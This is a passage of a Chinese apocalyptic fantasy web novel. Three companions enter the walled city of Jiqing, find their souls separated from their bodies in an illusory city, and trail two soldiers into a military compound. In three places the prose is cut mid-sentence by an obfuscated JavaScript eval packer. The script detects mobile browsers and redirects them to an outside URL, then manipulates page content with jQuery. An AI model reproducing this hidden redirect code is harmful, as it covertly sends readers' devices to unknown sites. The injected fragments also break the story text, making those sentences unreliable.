伏苓淡淡瞥了他一眼:“你觉得我化了吗?” 程承又盯着她看半天:“……好像,没有吧?” 伏苓点点头:“真棒,你猜对了。” 程承又忍不住问:“那你带哪些是……” 伏苓靠在椅背上:“带的玩,你看,他这不就以为我是花瓶了吗?” 等了五分钟左右,又上来了两个人。他们扫了一圈,走到最后一排坐下。 伏苓靠在窗上,感受着车微微颤抖了一下,然后缓缓开动。窗外都是黑色的高墙,看不清什么,只能凭借着车身的行动判断行进方向和距离。 祝无忧抽了两张牌,低头皱着眉看了好一会,凑上去脸靠在两个椅背中间的缝隙上,将手上的两张洞悉牌塞到前面:“我觉得这里好不对劲啊。” 程承接过,祝无忧又压低声音道:“刚刚他们上车的时候我抽了两张牌,结果发现他们俩一个骑的自行车,一个抡着滑板来的,但都被扣下了。” 星牌在程承的指尖转了一圈,他道:“如果我们阻止我们开车进入倒是可以用担心我们私带了什么的理由,但滑板和自行车这两个交通工具也用相同理由就有点勉为其难了” 所以问题不在交通工具上,而是这辆大巴。 伏苓掀了掀眼皮:“管那么多呢,有问题直接杀了他们不就好了?” 祝无忧嘴角抽了抽:“姐,虽然你很厉害,但也不能这么暴力啊。” 星牌悄然自燃,消失不见。 程承总结道:“看样子他们就是想让我们坐这辆车进入集庆。” 11. 守护者的黑色堡垒03 进了城墙后也不是伏苓以为的集庆城,窗外一片荒芜。 伏苓托着腮:“看样子,他们是在集庆城外隔了一段距离又造了个城墙。” 祝无忧:“神经病啊?” 先不说从头修建城墙所要消耗的人力物力,单单就凭这中间隔着的区域,就能判断出提出这个想法的人脑子不好使。 程承坐好,头靠在椅背上看向窗外:“没那么简单。” 具体怎么样他也不好说,现在信息太少,甚至还没有真正进入城内,如果仅靠这些就判断出集庆城内到底是什么情况的话,那他就不是人而是神仙了。 三人又安静了下来。 伏苓看着外面不断变换的景色,不知为何,竟有些困倦。她抬了抬眼,意识到有点不对劲。 因为她自从灾难发生之后,基本上没睡过几个好觉,再加上精神一直处于紧绷的状态,所以就算是睡着了,也一直警惕着周围,从来没有过像这样困倦的情况。 她扫了眼周围,前排的那几个人已经昏睡过去了。 察觉到她的警觉,程承凑近了些:“怎么了?” 伏苓靠回椅背上,侧了点头,对上了他的目光。两人靠得很近,发丝缠绕在一起,有点暧昧。 程承率先移开目光,飞快眨了眨眼睛。 伏苓没察觉到他的异样,困意袭来,她勉强保持清醒:“车上可能有东西让我们陷入沉睡。” 她转头,祝无忧已经睡着了。 后排的那几个人也一直昏昏欲睡。 伏苓只感觉自己的眼皮不停地打架,就连程承也同样感受到了困意。 他抑制住想打哈欠的欲望,几乎无法被注意到的红雾悄然掩盖整个车厢,做完这些,他已经快要失去意识了:“没办法了,起码我们睡着了还有血兔在。” 伏苓也有点撑不住了,看着安静停在各处的血色颗粒,她抱着臂陷入了沉睡。 …… 吱呀—— 车辆猛地停下,车厢内所有人皆是一惊。 伏苓睁开眼,窗外已经是车水马龙的街道,阳光明媚,行人脸上挂着轻松惬意,甚至有几分灾难还未发生的意思。 祝无忧短暂地愣了几秒,立马被窗外的景象吸引了注意力,扒在窗户上感叹:“怪不得周围的人都喜欢来集庆,这城内确实不一样啊。” 司机站了出来,声音洪亮:“赶紧下车吧。” 伏苓起身,拎着包下了车。 眼前是一栋大楼,看上去颇有些富丽堂皇的意思,门口站着一位身穿黑色西装的男子,他上前一步,礼貌微笑:“你们好,欢迎来到集庆,这是专门为你们准备的宾馆,来到这里的人可以免费住上一个星期。” “妈呀,集庆这态度也太好了。”站在伏苓前面的几个人发出兴奋的声音,争先恐后地进入了宾馆。 身后传来发动机引擎的声音,伏苓转头,看着那辆破旧的大巴车向着前方驶去,摇摇晃晃地,看上去一切正常。 伏苓转过身准备跟上程承。 突然,在迈脚的那一瞬间,莫名的阴冷席卷全身,暖烘烘的太阳蓦地变成了血色,周围喜气洋洋的人群停下交谈,眼神既麻木又森然地看向伏苓。 鸡皮疙瘩爬满全身,她下意识想绷紧身体。 身体骤然一轻,视线模糊起来,仿佛身体的重量消失殆尽,像一个氢气球一样摇摇晃晃地飘起。 她猛地回头,越来越远的大巴在她的摇摇欲坠的视野中变成了一辆拉着尸体的灵车。麻木的人群簇拥着,丧布覆盖在破旧的车辆之上,随着风晃晃悠悠。 砰。 玻璃猛烈震动,一只惨白的手拍在后玻璃上,与丧布融为一体。 伏苓顿住脚步,前所未有的毛骨悚然席卷全身。 她眨了一下眼睛,一切又消失不见,还是那辆破旧的大巴车,苟延残喘地向前走着。 一切都是正常的。 伏苓甩了甩脑袋,把自己脑中的混乱景象甩出去。程承顺着她的视线看过去,停下脚步:“是那辆车有什么问题吗?” 伏苓盯着车屁股,缓缓迈步朝着大巴离开的方向追去:“不知道,但总觉得车里还有很多人。” 这句话有些吓人,恰好一阵清风吹过,带着纸张被灼烧的味道。 祝无忧一个寒颤从脚窜到脑门,颤颤巍巍说:“你别吓我,我们下来的时候里面可什么人都没有啊,除了那个司机。” 伏苓:“不只有那个司机,车里还有其他人。” 祝无忧脸都绿了:“姐,你别说了,我有点害怕。” 伏苓不知道刚才的是幻觉还是什么,说出来也没什么意义,如今追上去也只是下意识觉得不对劲,她随口道:“直接喊我伏苓好了,别喊姐。” 祝无忧从善如流:“好的伏苓。” 其他人都进了宾馆,那位西装男转身正准备接待他们,却发现这三人追着大巴跑了。他和善的面容陡然变得阴沉,漆黑的眸子死死盯着他们远去的背影。 程承微微侧头,隔着几米远对上了他阴沉的眸子。几乎只在瞬间,男人又变回了和善可亲的模样,微笑着提高音量:“客人们,最好先入住哦。” 伏苓没睬他,大巴在前面的巷口缓缓转弯,她的步伐越来越快,耳侧的GE突然闪过一道红光。 伏苓目光一凝,立马将软剑甩出,速度提至最快。 但那大巴提前开了一段时间,她眼睁睁地看着那辆大巴开进了一道狭小的巷子里,连最后的车屁股也被巷子遮挡。 伏苓左脚发力,指尖轻点地面,在那条巷子前稳稳地停了下来。 她面色陡然一变。 身后的两人速度也不慢,再看到她停下来看着那条巷子的时候,也都赶到了伏苓身边。 祝无忧气喘吁吁:“怎么了啊,这是……” 伏苓指着眼前的死胡同:“你们刚刚看到了吗?大巴车是进的这里吗?” 眼前的巷子根本没有路,是一个彻彻底底的死胡同,长度甚至都没有那辆大巴车的一半。墙壁尽头摆着一些杂物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926291|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看上去与往常无异。 程承向里走了两步,手掌摁在布满青苔的墙壁上,潮湿的触感真实而熟悉,他道:“对,我看得很清楚,而且它进入的时间与你相差不过几秒。” 祝无忧撑着膝盖喘了两下,道:“所以伏苓你为什么会突然追着车跑啊?” 伏苓将里面杂物踹开,尽头的墙壁同样真实。她转过身来看着两人:“因为GE刚才说,灵魂离体,尽快归位。” 祝无忧呆在原地,半晌才犹豫着开口:“这,所以你刚刚说车上还有很多人的意思是……” 她声音微微发颤,瞳孔中透着深深的恐惧。 她有些不敢说,但程承已经替她说出口了:“是我们的尸体?” “你不要说尸体啊!”祝无忧跳了起来:“我们还活着呢,那叫身体!你不要瞎说!多吓人啊。” 程承没回话,巷子里的一切都是正常的,没有任何可疑的点:“所以刚才那人才会说上层让我们在宾馆里免费住七天,是因为……” “头七?”伏苓笑了一下,尾音微微上扬。 两侧墙壁有人高,阳光没有照进来,巷子阴冷潮湿,阴影映在她的脸上。 她语气里又带上了程承熟悉的味道,是他们第一次见面时,那种疯狂而血腥的气息。程承看了她一眼,慢悠悠道:“哪有人能把我们三杀出头七?先回宾馆,看看这些人打得什么主意?” 伏苓没说什么,但却意外地被这句话安抚下来,眼中带着的杀意淡了些。 祝无忧看看伏苓又看看程承,突然好奇道:“不是,你什么时候学会的顺毛技巧?” 伏苓扫了她一眼,祝无忧微笑着闭上了嘴。 三人再次回到宾馆,那位西装男还站在门口,像一尊沉默的雕像,看到他们回来,男人丝毫没有意外,礼貌又恭敬地做出一个“请”的动作。 程承路过他,突然问道:“对了,这个礼拜不会就让我们待在这里吧?” 西装男对上他的视线,笑得标准:“当然不是,集庆有很多著名景点,女士先生们可以随意前往。” 伏苓没管他们俩的聊天,径直走进大堂,从一旁的广告栏抽出一张集庆城旅游攻略大全。 程承见这人也套不出什么信息了,便准备跟伏苓他们一起上楼。 “先生。”西装男突然叫住了他,等程承转身,他才继续道:“集庆是个好地方,在这乱世里,很适合歇歇脚放松一下身心。” 他语气满是暗示:“您可以带着您的女伴去周围看看,相信一定会爱上这座城市的。” 伏苓偏头看了西装男一眼,短促地笑了一声。 程承静静地看着他,片刻后点了点头:“谢谢。” 给他们准备的房间是三人套房,伏苓把包往沙发上一扔,在桌上摊开了旅游地图。 “我们这里是集庆的边缘地带,既然需要寻求突破,肯定不能待在酒店里。”程承拉开椅子让伏苓坐下,他指尖从风西区划到中心的“龙蟠”两个字上:“我的想法是,去这里。” 12. 守护者的黑色堡垒04 祝无忧趴在桌上:“为什么呀?” “我是觉得,既然此时我们是以魂魄的形态站在这里,那其他人呢?刚才街道上那么多百姓,他们是什么?人,还是魂魄?”程承说,“以最坏的猜想来看,或许我们目之所及的人都不是真人。” 伏苓托着腮看他。 程承继续道:“如果真是这样,那集庆的领导者真的不知道吗?” 房间里一时无人说话。 如果在别的城市,这种情况恐怕也没那么奇怪,毕竟就连临安城都被前瞻集团一家独大数年。但集庆不一样,这座城市里驻扎着东部军区。在军区的保护下,集庆绝不可能允许民众集体魂魄脱离这种情况的发生。 “所以,我想去军区看看。”程承说,“而军区,就在龙蟠区。” 伏苓点点头,她将胳膊抵在桌面上,言简意赅:“打过去。” “……”祝无忧劝道:“我们别这么粗鲁。” 伏苓嗤了一声。 程承将地图扫完记在心里,说:“现在不清楚集庆的情况,我们只是魂魄没有□□,若是直接杀过去可能会打草惊蛇。” 他顿了顿,对伏苓说:“反正以你的实力,就算最开始不打打杀杀也能在七天之内解决他们。” 伏苓挑眉:“当然。” 见她又安静了下来,程承继续道:“路上有几个景点,我们顺便收集信息。” 闻言,祝无忧眼前一亮:“好啊好啊,刚好再玩一玩!” 她掏出预言牌,神神叨叨地抽了一张,看清牌面后笑眯眯的:“小吉诶。” 她双手合十,星牌消失:“适合出门!” “不过在此之前,”祝无忧抱住了伏苓的胳膊:“你先帮我染个头发吧。” 伏苓托着腮:“染头发?现在是魂魄欸,等归位了不就没用了吗?” 祝无忧嘿嘿一笑:“这样最好啦,我可以多染几次,试试哪个颜色最适合我。” 伏苓伸手从包里掏出染发膏:“行啊,你想要什么颜色?” 程承闭了闭眼,眼看伏苓甚至想拿地图当围布,他顺手将铺在椅背上的布塞进她手里,把地图抢救了回来。 伏苓扫了他一眼:“楼下还有好多。” 程承:“那也不能这么随意。” 好吧。 伏苓没在意,帮祝无忧顺了顺头发。 “你们染吧,我躺会。”程承朝着一间屋子走去。 进门的时候还能听见祝无忧兴奋的声音:“给我染个绿的吧!” 关门前,伏苓藏都藏不住的好笑语气传了进来:“你确定?” 程承关上了门。 今天发生的事情太多,他脑子很乱,集庆的地图轮廓在他脑海里不断闪现。 去了龙蟠之后呢?军区哪里是那么容易闯进去的?那边火力充足,绝不能在正面起冲突,他们只能另辟蹊径,想办法混进去。 远离了伏苓,血兔也冒了出来,它在程承行动之前率先躺在了唯一的小床上:“别担心,车里还有我的分身在呢,出不了事。” 程承伸手将它打散,自顾自躺了下来。 血兔又聚合起来,委屈巴巴:“给我睡一会怎么了?” 程承闭着眼睛,长长的睫毛乖顺地垂下:“你能感应到我们身体的情况吗?” 血兔摇了摇垂下的长耳朵:“不能啊,那边似乎有什么东西挡着,我感受不到,但是分身也有自我意识,会保护好你们的身体的。” 程承没应声。 所以这又是什么异能? 他这些年注意力都在前瞻集团上,根本没关注外界的特殊异能,如今倒是见识到了。 血兔跳上了床,用长耳朵把被程承弄皱的床抹平,可怜兮兮地缩在一角:“这种灵魂出窍的情况很像梦境,但又不完全是。” “将魂魄与身体剥离,再将魂魄送入既定位置。”程承接话道:“听上去不是一个人就能实现的。” 血兔眨眨眼睛,翻了个身:“你是说,一人剥离,一人制造幻境?” 程承睁开眼睛看向天花板,半晌才道:“只是猜测,具体什么情况还是得去龙蟠区才能知道。” 他安静了一会,抽出战备机翻了翻论坛,里面还在讨论前瞻集团的事情。 程承点开搜索框输入“集庆”两个字,论坛转了一会圈圈,显示无信号。 他猛地坐了起来。 “怎么可能……”他飞快退回论坛首页,随意点开了个帖子,最后一个回复的时间是10:32。 ——这大概在他们进城的车子行驶过程中。 血兔鬼鬼祟祟地探出脑袋:“怎么了?” 程承飞快地将帖子点开又退出,终于确定了一件事情:“这里没有信号。” “哈?”血兔嗤了一声,“程承,你是不是傻了?没信号不是很正常吗?至于这么大惊小怪嘛,我还以为出了什么大事。” 它说着说着又躺回床上,翘着二郎腿晃晃悠悠。 “不。”程承摇头,“问题非常大,战备机是卫星信号,不应该没信号的。只可能是有什么东西屏蔽了信号。” 信号断联的时间是在车子行驶的过程中,也就是说那辆大巴……不,从驻守在门口的警卫开始,到现在所有的一切都是一个阵营安排的。 所以魂魄离体是集庆高层想要的结果?那他们为什么一定要将所有人的魂魄剥离? 他原本觉得,从进入集庆遇到的一系列诡异的事情都是民间组织策划的,如今看来,整个集庆似乎已经同恶共济了。 但是……不可能啊。 程承将手指插进发里,思路一片混乱:“军区不可能做这种危害百姓的事情……这种情况不应该啊。” “什么情况?”伏苓的声音突然出现。 血兔原本还在晃兔腿,一听到她的声音立马整只兔都蹦了起来,刚想缩回程承身体,就被伏苓一把抓住它的兔耳朵拎起来。 血兔也不知为何不敢看她,疯狂地蹬着自己的小短腿,时速八十码。 伏苓勾唇,拎着它的耳朵抖了两下:“你躲什么?” 血兔大声嚷嚷:“我没躲!” “你没躲?”伏苓把它揉来揉去:“好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926292|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那当你就没躲吧。” 程承看着伏苓将血兔的身体拉长又揉扁,紧绷的神经松懈一二,笑着解救它:“这么快就好了?” 意识到他在问染发的事情,伏苓微微点头,松开了手里生无可恋的兔子:“嗯,好了。” 一松开,血兔立马缩回了程承的身体,生怕耽搁一秒又被伏苓抓住。 两人依次出门,看到了祝无忧头顶鲜艳的绿色头发,伏苓没给她全都染成绿的,只将发尾染了色。 程承没忍住偏头笑了一声。 其实倒也算不上不好看,祝无忧皮肤白,顶着绿色头发显得她的五官愈发艳丽,极为显目。但突然从黑色变成这么艳的绿,程承还是觉得有些不习惯。 祝无忧一脸惊喜地摸摸这边摸摸那边:“很好看啊!” 伏苓抱臂:“那当然,我给你染的还能丑?” 程承笑着敷衍两句,提议:“那出发?” “出发!”祝无忧兴奋大叫。 街道上很热闹,两侧商铺招牌高大,店铺门口摆放着琳琅满目的商品。穿梭在人群中的游客们各自游玩,面上都是轻松和愉悦,全然不见末世的焦躁。 “诶,小伙子,吃不吃米糕啊?”一位商贩见他们路过,笑呵呵地打招呼。 程承停下脚步,略一思索:“来三份吧。” 趁着小贩拿袋子,他状若无意地问道:“阿姨你做米糕多久了呀?” 小贩顿了两秒,笑道:“大概……有二十年咯。” “二十年?”程承与伏苓对视一眼,继续问:“八年之前不是有雨灾吗?那时候您也在做米糕?” 这一次,小贩停顿的时间更长了,她似乎是回想起了很遥远的事情,半晌才道:“那场灾难好像很快就结束了吧?” 什么? 程承愣了一瞬。 小贩顿了顿,将装好的米糕递给程承:“你们是新来的吗?很多新来集庆的人都会问起雨灾,当年发生的事情确实挺吓人的,但也不至于让你们记了八年吧?” 程承皱着眉接过米糕,从怀里掏出纸币准备付钱时,那小贩却是摆摆手:“在集庆买东西不要钱啊。” 祝无忧呆了两秒,指着他摊位上的东西:“就……随便吃?” 小贩笑得见牙不见眼:“是啊,随便吃,其他店也是。小姑娘要不要再拿一点?” 祝无忧两眼放光:“可以吗!” 伏苓高高挑起眉。 小贩热情招呼祝无忧多拿一些的样子,她却只觉得违和。城内就像一个巨大的乌托邦,与外界的惨烈对比强烈。 等祝无忧捧着纸袋回来,程承压低声音:“多注意些,这里没那么简单。” 祝无忧忙点点头。 忽的一阵窥视感袭来,程承敏锐地扫了一眼身后,一道身影迅速躲入人群,消失不见。 伏苓看他转头看去,问道:“怎么了?” 他缓缓收回视线,贴近了伏苓的耳朵。 两人突然亲密起来,看上去就像程承在亲吻她的侧耳一样。程承声音轻轻,呼吸扫在伏苓的耳尖上:“有人跟着。” 13. 守护者的黑色堡垒05 伏苓下意识想转头,却被身边的人眼疾手快地捏住下巴。男生指腹粗糙,轻轻抵在她的皮肤上。 他低头,额前碎发落在伏苓的鼻尖,很痒:“别看,他在观察我们。” 伏苓微微一愣,抬眼撞进了他的眸子。 说来也怪,末世这么久了,这个人的眼睛还是水汪汪的,像一谭深不见底的清泉,格外漂亮。 伏苓收回视线,感到一阵不自在,抬脚踹了他一下:“那也不需要这样吧?” “这不是刚才转头被他看到了,装一下嘛。”程承笑着退后了两步,从远处看,像是在调情,可如果听到他的话,却又会觉得他像是在撒娇。 伏苓向前走了两步,清了清嗓子:“要甩掉他吗?” 程承跟上,指尖还残留着皮肤柔软的触感。他指腹轻轻捻动,摇了摇头:“不,让他跟着。我们,弄死他。” 祝无忧震惊转头:“如果不是亲眼所见,我绝对不会相信这么残暴的话居然是你说出来的!” 程承弯了弯眼。 刚到宾馆时,那个西装男给自己的感觉就很不好,似乎格外注意他们的行踪,也明里暗里地或警告或胁迫地让他们留在宾馆里。 所以他猜测,身后跟着的人其实是在试探他们究竟听不听话。若是强行甩掉,只怕他们会不断跟狗皮膏药一样紧紧黏着他们。 不如直接一不做二不休,给他撂倒。 前面有一条小巷子,程承轻轻碰了碰伏苓的手:“去那。” 眼看着前面三人拐进了侧边的小巷子里,西装男原先还杵在原地望天,见状立马加快步伐追了上去。 巷子很窄,他一拐弯,红雾扑面而来,凝成薄膜,将他包裹在其中。 西装男愣了一瞬,随即意识到自己上套了,恼怒地锤了一下红雾:“你们故意的!” 伏苓抱着臂,微微勾起唇角:“是啊,我们是故意的。” 西装男的脸上前一阵白一阵,双眼如同淬毒般,伸手摁下了手表上的按键:“你等着。” 手表闪了两下,又灭了。 西装男大惊失色:“这怎么可能?” “别白费力气了,你周围的所有通讯都已经被我切断。”程承说,“你可以试试将手表伸到红雾外面,或许可以发出去几条消息。” 祝无忧躲在伏苓后面:“我还以为他很厉害呢,没想到这么不堪一击。” 伏苓嘲讽地笑了一声,上前踹了他一脚:“跟着我们干什么?” 西装男死死咬着牙,一言不发,一幅宁死不屈的模样。 伏苓没了耐心,转身就走:“把他扔这呗,我看他也不知道什么东西。” 西装男瞪大了眼睛,显然没想到伏苓一言不合就直接掀桌,急得大喊:“诶!你们!” 三人没人管他,只有祝无忧转头做了个鬼脸:“好好呆着吧。” 程承回收将裹着西装男的红雾屏蔽声音和视觉:“这样就没关系了,背后的人暂时不会察觉到异样,不过时间长了可能就说不定了。” 祝无忧好奇道:“为啥不拷问他啊?” “这人看着不像是接触核心情报的,知道的事情估计不多,就算他真的知道什么,我们也没时间跟他耗。现在大家可能都是魂魄状态,严刑拷打未必能让他说话。”程承说,“性价比太低了,更何况魂魄离体的时间还是越少越好,不然我也不知道会不会发生什么其他事情。” 祝无忧似懂非懂地点点头,又恢复兴奋的状态:“龙蟠那边有个音乐台,我们去看看吗?” 音乐台恰好在龙蟠区,程承点点头:“走吧。” 三人马不停蹄地到了音乐台。 人很多,有些上了年纪的爷爷奶奶正绕着圈散步。末世鸽子不常见,这边却站满了圆滚滚的胖鸽子。有一只跳到伏苓脚下,用脑袋蹭了蹭她的裤脚。 伏苓低头,看着亲人的鸽子有些疑惑:“临安的鸽子都飞这来了?” 别说鸽子了,临安除了那些感染者和剩下的人类,其他的猫猫狗狗都了无踪迹。 程承挥挥手赶跑了一只试图落在他肩膀上的胖鸽子:“既然我们是魂魄的形态,这些鸽子也多半不是真实的。” 但剥离格子的魂魄实在是有点大费周章,程承不觉得背后那人会这么做。 他猜测,除了人类,其他的东西,包括这群鸽子,恐怕都是幻象。 闻言,伏苓歪歪脑袋,突发奇想:“那我踩死它试试?” 她说着便已经准备下脚,祝无忧连忙冲上去抱住她:“冷静!” 她声音有点大,周围人的视线或多或少都落在了她的身上。祝无忧有些怵:“那什么……自从知道他们都不是真人后,我就觉得他们有些吓人。” 她声音很小,却意外地被一个人听见了。女生抬眼看了她一眼,声音平静:“什么叫不是真人?” 祝无忧猛地朝声音传来的方向看去。 那是一个神色冷淡的女生,眉眼艳丽,撞上祝无忧的目光后礼貌地点点头:“你好,我叫林随安。” “哦哦,你好你好,我叫祝无忧。”祝无忧下意识回复。 林随安点了点头,神色没有一丝起伏:“你们是刚来的吧?” 她扫了一眼祝无忧身后的两人。 一个神色恹恹,注意力还停在脚下的鸽子上,另一个长相倒是可爱,但气质上却让人觉得难缠。 至于与自己搭话的女孩…… 应该算是心思最单纯的。 她仅仅扫了两眼就大致判断出了这三人的情况。 祝无忧一点没意识到,她笑道:“是啊,我们早上刚来。” 程承本想提醒她别透露出太多信息,但被眼前的女子盯着,他倒也不好此地无银三百两地提醒祝无忧,只好随她去了。 林随安:“所以你刚才说不是真人是什么意思?” 祝无忧只是单纯,但也不蠢,在这种情况下,告诉本地人自己生活的世界是假的只会让自己陷入纷争中。 她笑了一下,掩饰道:“没有啦,只是觉得这里太美好了,与外面的世界相差太大,所以才会这么感叹。” 林随安沉默了一瞬。半晌,她弯唇笑了笑:“原来是这样,那我就先不打扰了。” 说完,她便准备离开。 “等等。”程承突然叫住了她。 林随安脚步一顿,转头看过来,神色略显疏离:“是有什么我可以帮助你们的吗?” 程承摇摇头:“没有,我只是好奇,你是异能者吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926293|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林随安没犹豫,点了点头:“异能者也算不上稀少。” 得到肯定答案,程承又问道:“那我可以问一下,你们在集庆待了多长时间吗?” 林随安微微蹙眉:“我是本地人,从小就在这。” “我不是这个意思。”程承笑得温和:“我是想问,末世发生后,你们在这里待了多长时间?” 他在“这”一字上加重了语气。 闻言,林随安愣了两秒,才缓缓答道:“大概七年吧。” 她顿了一下,声音微低:“如果不是你问,我根本不会思考这个问题。” “随安,干嘛呢你?”侧边忽地传来清冽的声音,程承下意识看过去。 林随安侧头:“哥哥。” 走到她身边的男生身形颀长,眉眼与林随安很是相似。林随安的长相算得上艳丽,只是冷淡的神色将其掩盖住,显得有些清冷。 而这位男生虽然眉眼相似,但给人的感觉却完全不同,他眼睛笑眼弯弯,声音清亮:“你们好,我是她的哥哥,林随遇。” 伏苓终于将目光从鸽子上移到了林随遇身上,她静了两秒,突然出声:“军队的?” 四人的目光齐齐转到她身上。林随遇的笑淡了一点:“你怎么知道?” 伏苓还是那幅没什么兴趣的模样:“直觉。” “那你直觉还挺准。”林随遇夸奖道。 程承神色微沉。 也不单单是因为直觉,受过训练的军人仪态气质都不一样,他第一眼见到林随安的时候就感觉她不是普通人,如今两兄妹站在一起,这种气质上的不一样立马出来了。 想到之前的猜测,他紧绷起来,不动声色地打量着两人。 林随安看了林随遇一眼,后者立马老实了,不再说话。 她对众人道:“抱歉,哥哥总是这样不正经。队里还有事,就不跟你们多说了。” 说完,她礼貌打了个招呼,便扯着林随遇的衣领离开。 林随遇笑着跟上林随安,转头朝他们挥手:“之后有缘再找你们啊!” 程承礼貌地点头。 当然会有缘,你们俩已经是我们的目标了。 伏苓看着他们远去的背影,勾了勾唇角:“跟上他们。” 不得不说,程承的异能确实好用。 红雾掩盖住三人,他们的气息顿时收敛,旁人无法察觉分毫。 走到人群身边时,祝无忧哇啦哇啦地做了两个鬼脸,站在她面前的人却丝毫没有异样,依旧笑呵呵地跟周围人交流。 程承紧紧盯着前面远离人群的两人,压低声音:“声音会屏蔽掉一点,但不是全部,所以说话声音小一点。” 祝无忧立马捂着自己的嘴巴,小鸡啄米似的点点头。 军区里音乐台有一段路程,地铁还在开放,但也不知道为什么,两人没有坐车,反而从步道上硬生生走到了军区。 祝无忧扶着墙转了转脚踝,小声抱怨:“不是有地铁吗?怎么不坐?” 程承目光依旧锁定在林家兄妹身上,闻言心不在焉地说:“你还记不记得感染者出现后第一个大事件是什么?” 祝无忧思考了两秒,表情突然一僵:“……集庆三号线坍塌?” 14. 守护者的黑色堡垒06 “不止。”伏苓冷冷出声,似乎是想起了当年的情形,她的眉头轻轻蹙起:“当时雨水倒灌,所有地铁线上的人都变成了感染者,为了清缴他们,十二条地铁线路被全部炸毁。” 那时候信号还没断,虽然报道上只说塌了三号线的线路,但这件事一出来还是被骂上了热搜。 集庆地势稳定,地铁为什么会塌?又为什么在这个时候塌?引人猜想的点实在是太多了。 早在和平年代,就已经会有人带节奏引起恐慌,更何况是如今的末世? 再者,仅仅是灾难初期,群众翘首以盼的军区就下了一个残忍而又无可奈何的决定,对于所有正在家中等待救援的人无疑是最沉重的一击。 伏苓倒觉得没什么问题,雨水几乎将所有地铁给淹了,里面不可能还有幸存者,玉石俱焚是最正确的选择,不然只会造成更多伤亡。 后来这样的事情越来越多,再加上信号断了,后面也就没什么全国皆知的大事件了。 附近的电梯口仿佛散发着冰冷的腐朽气息,冻得祝无忧打了个寒颤,说话都哆嗦起来:“所所所以现在地地铁怎么还在运行?” “这更加说明现在的集庆是幻境了。”程承看了伏苓一眼,又收回目光:“但是为什么集庆城内的人都没有想到这些?” 祝无忧突然想到方才林随安被问“在这里几年了”时的奇怪神色,道:“就像林随安一样,如果不问,他们就几乎不会想起进入幻境之前的事情?” 程承赞同地点点头:“没想到你还挺聪明。” “那当然。”祝无忧摇了摇绿色的脑袋,突然反应过来,不满道:“喂,你这不是好像在夸我吧?” 伏苓伸手摁住快要跳起来的祝无忧:“到了。” 三人看向前方。 如果是进城前看到的集庆是一座大型堡垒,那眼前的军区就是堡垒的mini版。一脉相承的黑色圆形穹顶高耸入云,密不透风。 门口的机器探出脑袋,从林家兄妹身上扫了两下,厚重的铁门慢吞吞地打开了。 两人并肩走了进去。 “看上去没人把守。”程承观察了片刻:“只有那个机器。” 伏苓抬脚向前走去:“什么机器,砸了不就能进去了?” “……”程承无奈拉住她:“还没摸清情况,先不要打草惊蛇。” 三人缩在红雾里悄悄靠近。 这个机器都是不眼生,就是很正常的扫脸机器,甚至不是虹膜扫描。 伏苓往前凑了凑,显示屏里只有丝丝点点的红雾,没有他们的身影。 正当程承准备先撤退,之后再找机会的时候,伏苓耳侧的GE突然亮起,直直射入显示屏的扫描装置内。 滴—— 机器停了半秒,显示出“认证通过”的字样,祝无忧瞪着眼睛:“真能开吗……” 话音还没落,铁门缓缓向两侧滑去。 一缕红雾先行进入,程承等了两秒,抬脚跨了进去。里面没人,程承挥了挥手,示意两人跟上。 三人进去,门再次合上了。 内里四通八达。 走道两旁是厚重的钢铁墙壁,没有任何窗户,整个通道密不透风。走廊上每隔一段距离都有通往四面八方的岔道。 林家兄妹早已不见踪迹,走廊上只有几个巡逻的警卫。GE乖乖架在伏苓鼻梁上,隔空标注了一条道路,她压低声音:“走这边。” 程承下意识跟上伏苓,看她果断的样子便猜到可能是GE的指引,他面色复杂,小声道:“方休到底是个什么怪物?” 伏苓停下脚步。 沿着走道巡逻的警卫穿着黑色的战术服装,腰间挎着武器和通讯设备,警惕地巡视着四周。 三人瞬间噤声。 等前方巡逻的人离开,伏苓才抬脚继续向前走:“不知道,他之前不就是研究员嘛。” 肃州有着最顶尖的研究基地,能进入那边研究所的人能力必然是极强的,只是程承对这方面没什么概念,不知道这个“能力极强”到底强到什么地步。 今天,他终于知道了。 祝无忧贴着伏苓,看着从她身后不到两米走过的巡逻,吞了吞口水:“所以,GE怎么知道那两人走的哪条道?” 程承将指腹贴在冰凉的墙壁上,左右观察着情况,猜测道:“可能是我们跟他们见面时自动扫描储存了他们的信息,根据道路上残留下的气味、痕迹之类的?” 他还记得第一次去地下之城时被扫了一下所有信息就被摸走了的事情,方休对于信息追踪这方面还是很熟悉的。 祝无忧眨眨眼睛:“那不就跟狗鼻子差不多吗?” 记住气味追踪什么的……这么灵,怎么也还是个警犬。 